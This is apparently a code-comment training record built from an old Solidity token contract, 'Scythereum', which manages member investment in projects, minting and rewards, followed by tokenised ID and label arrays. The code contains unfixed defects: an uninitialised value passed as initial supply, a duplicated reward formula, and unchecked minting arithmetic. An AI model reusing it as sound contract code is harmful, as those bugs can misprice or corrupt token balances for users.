event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
assert(totalSupply >= _value);
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
assert(totalSupply >= _value);
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract Scythereum is owned, TokenERC20 {
bool public tokenActive = true;
address public supersedingToken;
mapping (address => bool) public frozenAccount;
uint256 public newMemberAward;
uint256 public projectFundingMinimum;
uint256 public inactivityTimeLimit = 30 days;
/* events are placed above their associated function */
/* Initializes contract with initial supply tokens to the creator of the contract */
function Scythereum(
string tokenName,
string tokenSymbol,
uint256 _newMemberAward,
uint256 _projectFundingMinimum
) TokenERC20(newMemberAward*10**uint256(decimals), tokenName, tokenSymbol) public {
newMemberAward = _newMemberAward*10**uint256(decimals);
projectFundingMinimum = _projectFundingMinimum*10**uint256(decimals);
}
event NewMemberAward(uint256 newAward);
function changeMemberAward(uint256 _newAwardMajorUnits) onlyOwner public {
require(_newAwardMajorUnits < 1e6);
newMemberAward = _newAwardMajorUnits*10**uint256(decimals);
NewMemberAward(_newAwardMajorUnits);
}
event NewFundingMinimum(uint256 newMinimum);
function changeFundingMinimum(uint256 _newMinimumMajorUnits) onlyOwner public {
require(_newMinimumMajorUnits < 1e9);
projectFundingMinimum = _newMinimumMajorUnits*10**uint256(decimals);
NewFundingMinimum(_newMinimumMajorUnits);
}
event NewInactivityTimeLimit(uint256 newTimeLimit);
function changeInactivityTimeLimit(uint256 _newTimeLimit) onlyOwner public {
require(_newTimeLimit < 180 days && _newTimeLimit > 7 days);
inactivityTimeLimit = _newTimeLimit;
NewInactivityTimeLimit(_newTimeLimit);
}
event TokenDisabled(address newTokenAddress);
function disableToken(address _newToken) onlyOwner public {
tokenActive = false;
supersedingToken = _newToken;
TokenDisabled(_newToken);
}
event TokenEnabled();
function enableToken() onlyOwner public {
tokenActive = true;
supersedingToken = 0x0;
TokenEnabled();
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require(tokenActive); // This token contract still active
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
require(projectStatus[_from] == ProjectStatus.Unknown || // must not be a project, or if sender is a project ...
projectStatus[_from] == ProjectStatus.Completed && totalInvestedBy[_from] >= totalProjectFunding[_from]/2); // project must be complete && have reinvested 1/2 their tokens
// don't prohibit transfers to projects. This is how we invest tokens.
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
enum ProjectStatus { Unknown, Active, Completed, Deactivated }
mapping (address => ProjectStatus) public projectStatus;
mapping (address => bool) public authenticatedMember;
mapping (address => uint256) public lastInvestment;
struct InvestmentRecords {
uint256 amountInvested;
uint256 totalEarlierInvested;
uint256 rewardsReceived;
}
// indexed by member then by project
mapping (address => mapping (address => InvestmentRecords)) public memberInvestmentRecords; // track member investments and rewards
// indexed by member
mapping (address => uint256) public totalInvestedBy; // total number of tokens the member or project has invested in projects
//indexed by project
mapping (address => uint256) public totalProjectFunding; // the current total tokens invested in a project
uint256 public totalActiveGiven; // total amount invested over all time. TODO
event NewProjectAdded(address indexed projectAddress);
function addProject(address _project) onlyOwner public {
require(!authenticatedMember[_project]); // not a member
projectStatus[_project] = ProjectStatus.Active;
NewProjectAdded(_project);
}
event NewMemberAdded(address indexed newMemberAddress);
function addMember(address _member) onlyOwner public {
require(projectStatus[_member] == ProjectStatus.Unknown); // not a project
require(!authenticatedMember[_member]); // not already a member
authenticatedMember[_member] = true;
NewMemberAdded(_member);
mintToken(_member, newMemberAward);
}
function addMembers(address[] _members) onlyOwner public {
for (uint i=0; i<_members.length; i++) {
require(projectStatus[_members[i]] == ProjectStatus.Unknown); // not a project
require(!authenticatedMember[_members[i]]); // not already a member
authenticatedMember[_members[i]] = true;
NewMemberAdded(_members[i]);
mintToken(_members[i], newMemberAward);
}
}
event NewInvestment(address indexed project, uint256 amount);
function investInProject(address _project, uint256 _amount) public {
require(tokenActive); // This token contract still active
require(!frozenAccount[msg.sender]);
require(projectStatus[_project] == ProjectStatus.Active);
require(authenticatedMember[msg.sender] || projectStatus[msg.sender] == ProjectStatus.Completed); // completed projects must invest before they can sell off raised tokens
//imposeInactivityPenalty(msg.sender); // TODO: inactivity penalty currently has issues. Candidate for removal.
require(now - lastInvestment[msg.sender] < inactivityTimeLimit); // must call payReactivationFee() if inactive for too long
require(_amount <= balanceOf[msg.sender]); // can't invest more than you have! (Also checked in the _transfer() function)
require(_amount >= balanceOf[msg.sender]/33); // minimum you can give to a project is 3.3% of your balance and 5% of some flat minimum
require(_amount >= newMemberAward/20); // donation must be above the flat minimum
uint256 totalAmount = _amount + memberInvestmentRecords[msg.sender][_project].amountInvested; // current + previous investments in project
require(totalAmount <= projectFundingMinimum/3); // investment can only comprise up to 1/3 the total funding
if (projectStatus[msg.sender] == ProjectStatus.Completed) {
require(totalAmount <= totalProjectFunding[msg.sender]/8); // projects have to spread out their new tokens over at least 8/2=4 projects
require(_amount >= totalProjectFunding[msg.sender]/25); // projects have a stricter minimum to avoid "only helping their friends"
}
memberInvestmentRecords[msg.sender][_project].amountInvested += _amount;
memberInvestmentRecords[msg.sender][_project].totalEarlierInvested = totalProjectFunding[_project]; // Should warn member of consequences if they re-invest in a project at a later date.
_transfer(msg.sender,_project,_amount);
totalProjectFunding[_project] += _amount;
totalInvestedBy[msg.sender] += _amount;
totalActiveGiven += _amount;
lastInvestment[msg.sender] = now;
NewInvestment(_project, _amount);
}
// Successfull projects must have raised the funding minimum, as well as completed the first milestone
event SuccessfullProjectFunding(address indexed project, uint256 totalRaised);
function closeOutFunding(address _project) onlyOwner public {
require(projectStatus[_project] == ProjectStatus.Active);
require(totalProjectFunding[_project] >= projectFundingMinimum);
projectStatus[_project] = ProjectStatus.Completed;
lastInvestment[_project] = now; // prepare for project to invest some of the received tokens
SuccessfullProjectFunding(_project, totalProjectFunding[_project]);
}
// If a project becomes completed, return invested tokens + a bonus
event MemberClaimedReward(address indexed member, address indexed project, uint256 initialInvestment, uint256 reward);
function claimRewards(address _project) public {
require(projectStatus[_project] == ProjectStatus.Completed);
require(memberInvestmentRecords[msg.sender][_project].rewardsReceived==0);
require(!frozenAccount[msg.sender]);
uint256 newTokens = bonusTokensPlusOriginal(totalProjectFunding[_project], memberInvestmentRecords[msg.sender][_project].totalEarlierInvested, memberInvestmentRecords[msg.sender][_project].amountInvested);
memberInvestmentRecords[msg.sender][_project].rewardsReceived = newTokens;
MemberClaimedReward(msg.sender, _project, memberInvestmentRecords[msg.sender][_project].amountInvested, newTokens);
mintToken(msg.sender, newTokens); // has require(tokenActive)
}
// if a project goes AWOL or violates rules, let people get their investment back
event ProjectDeactivated(address indexed project, string reason);
function deactivateProject(address _project, string _reason) onlyOwner public {
require(projectStatus[_project] == ProjectStatus.Active || projectStatus[_project] == ProjectStatus.Completed);
projectStatus[_project] = ProjectStatus.Deactivated;
ProjectDeactivated(_project, _reason);
}
// Undo a project deactivation into the active state (only for emergency use)
event ProjectReactivated(address indexed project, string reason);
function reactivateProject(address _project, string _reason) onlyOwner public {
require(projectStatus[_project] == ProjectStatus.Deactivated);
projectStatus[_project] = ProjectStatus.Active;
ProjectReactivated(_project, _reason);
}
// Undo a project deactivation into the completed state (only for emergency use)
event ProjectRecompleted(address indexed project, string reason);
function recompleteProject(address _project, string _reason) onlyOwner public {
require(projectStatus[_project] == ProjectStatus.Deactivated);
projectStatus[_project] = ProjectStatus.Completed;
ProjectRecompleted(_project, _reason);
}
event MemberReclaimedFromDeactiveProject(address indexed member, address indexed project, uint256 initialInvestment);
function reclaimDeactivatedProjectFunds(address _project) public {
require(projectStatus[_project] == ProjectStatus.Deactivated);
require(!frozenAccount[msg.sender]);
require(memberInvestmentRecords[msg.sender][_project].rewardsReceived==0);
uint256 reclaimedAmount = memberInvestmentRecords[msg.sender][_project].amountInvested;
memberInvestmentRecords[msg.sender][_project].rewardsReceived = reclaimedAmount;
memberInvestmentRecords[msg.sender][_project].amountInvested = 0; // in case a project is reactivated, zero out their investment history
MemberReclaimedFromDeactiveProject(msg.sender, _project, reclaimedAmount);
_transfer(_project,msg.sender,reclaimedAmount); // consider consequences of require(tokenActive) in _transfer()
}
// the bonus amount exponentially decreases, until reaching zero for the last tiny bit
function bonusTokensPlusOriginal(uint256 _totalDonations, uint256 _previousDonations, uint256 _newDonation) public pure returns (uint256 tokens) {
uint256 previousFractionE6 = _previousDonations * 1e6 / _totalDonations;
uint256 newFractionE6 = (_previousDonations + _newDonation) * 1e6 / _totalDonations;
// The prefactor is 10^6 * 1/(1-e^-1) and ensures that the new "wei" is 0
tokens = 1.581976e6 * _totalDonations * (approxNegativeExpE6(previousFractionE6) - approxNegativeExpE6(newFractionE6)) / 1e12;
// The prefactor is e^1) and ensures that the last invested "wei" is simply returned without appreciation. Successful projects generate (e^1-1) wei.
tokens = 2718281 * _totalDonations * (approxNegativeExpE6(previousFractionE6) - approxNegativeExpE6(newFractionE6)) / 1e12;
}
function approxNegativeExpE6(uint256 xe6) internal pure returns (uint256) {
require(xe6<=1e6); // x can go from 0 to 1
// return approximation of 10^6 * exp(-x), given x*10^6
// piecewise taylor series approximation accurate at about >99%
// taylor series at 0 (technically we should expand the taylor series at some positive x_0 even for this first piecewise component)
if (xe6 < 20 * 10**4)
return (10**12 - 10**6*xe6 + xe6**2 / 2)/10**6;
// Taylor series around x_0=0.57
// exp(-x_0) + (-1)exp(-x_0)(x-x_0) + exp(-x_0)(x-x_0)^2 + (-1)exp(-x_0)(x-x_0)^3
// e^(-0.57) = 0.565525 (the similarity is a coincidence)
// Note: solidity can't exponentiate a negative number if the operands are uint. Example: (x-x_0)**2 throws if x<x_0
if (xe6 < 57e4)
return (565525 * (10**18 - 10**12 * (xe6 - 57*10**4) + 10**6 * (57*10**4 - xe6)**2 / 2 + (57*10**4 - xe6)**3 / 6)) / 10**18;
return (565525 * (10**18 - 10**12 * (xe6 - 57*10**4) + 10**6 * (xe6 - 57*10**4)**2 / 2 - (xe6 - 57*10**4)**3 / 6)) / 10**18;
}
event NewTokensMinted(address indexed recipient, uint256 amount);
/// @notice Create `_mintedAmount` tokens and send it to `_recipient`
/// @param _recipient Address to receive the tokens
/// @param _mintedAmount the amount of tokens it will receive
function mintToken(address _recipient, uint256 _mintedAmount) internal { // make internal or onlyOwner
require(tokenActive);
require(!frozenAccount[_recipient]);
balanceOf[_recipient] += _mintedAmount;
totalSupply += _mintedAmount;
lastInvestment[_recipient] = now; // set to start inactivity timer
NewTokensMinted(_recipient, _mintedAmount);
Transfer(0, this, _mintedAmount);
Transfer(this, _recipient, _mintedAmount);
}
// Ensure token holders are actively investing in projects
// The current problem is that members can transfer some tokens to a nonmember account to "protect" them.
// TODO: My current thinking is that token inflation *already* incentivizes active participation, and this may be removed.
//event InactivityPenalty(address indexed member, uint256 inactiveDays, uint256 initialBalance, uint256 penalty);
//function imposeInactivityPenalty(address _member) internal {
// uint256 elapsed = now - lastTokenAction[_member];
// if (elapsed > 25 weeks) elapsed = 25 weeks;
// if (elapsed < 30 days) elapsed = 0;
// uint256 tokenDecrease = elapsed * balanceOf[_member] / (25 weeks);
// if (tokenDecrease > 0)
// InactivityPenalty(_member, elapsed/(1 days), balanceOf[_member], tokenDecrease);
// balanceOf[_member] -= tokenDecrease;
// totalSupply -= tokenDecrease;
// lastTokenAction[_member] = now;
//}
function payReactivationFee() public {
require(authenticatedMember[msg.sender] || projectStatus[msg.sender] == ProjectStatus.Completed);
require(balanceOf[msg.sender] >= newMemberAward/10);
require(now - lastInvestment[msg.sender] >= inactivityTimeLimit);
burn(newMemberAward/10);
lastInvestment[msg.sender] = now;
}
event FrozenFunds(address indexed target, bool frozen);
/// @notice `_freeze? Prevent | Allow` `_target` from sending & receiving tokens
/// @param _target Address to be frozen
/// @param _freeze either to freeze it or not
function freezeAccount(address _target, bool _freeze) onlyOwner public {
require(authenticatedMember[_target]);
frozenAccount[_target] = _freeze;
FrozenFunds(_target, _freeze);
}
// A vulernability of the approve method when resetting an allowance in the ERC20 standard was identified by
// Mikhail Vladimirov and Dmitry Khovratovich here:
// https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM
// It's better to use this method to reset an allowance as it is not susceptible to double-withdraws by the approvee.
/// @param _spender The address to approve
/// @param _currentAllowance The previous allowance approved, which can be retrieved with allowance(msg.sender, _spender)
/// @param _newAllowance The new allowance to approve, this will replace the _currentAllowance
/// @return bool Whether the approval was a success (see ERC20's `approve`)
function secureApprove(address _spender, uint256 _currentAllowance, uint256 _newAllowance) public returns(bool) {
if (allowance[msg.sender][_spender] != _currentAllowance) {
return false;
}
return approve(_spender, _newAllowance);
}
}
|
if a project goes AWOL or violates rules, let people get their investment back
|
event ProjectDeactivated(address indexed project, string reason);
| 2,543,735 |
[
1,
4625,
348,
7953,
560,
30,
225,
309,
279,
1984,
13998,
13228,
1741,
578,
12471,
815,
2931,
16,
2231,
16951,
336,
3675,
2198,
395,
475,
1473,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
871,
5420,
758,
18836,
12,
2867,
8808,
1984,
16,
533,
3971,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
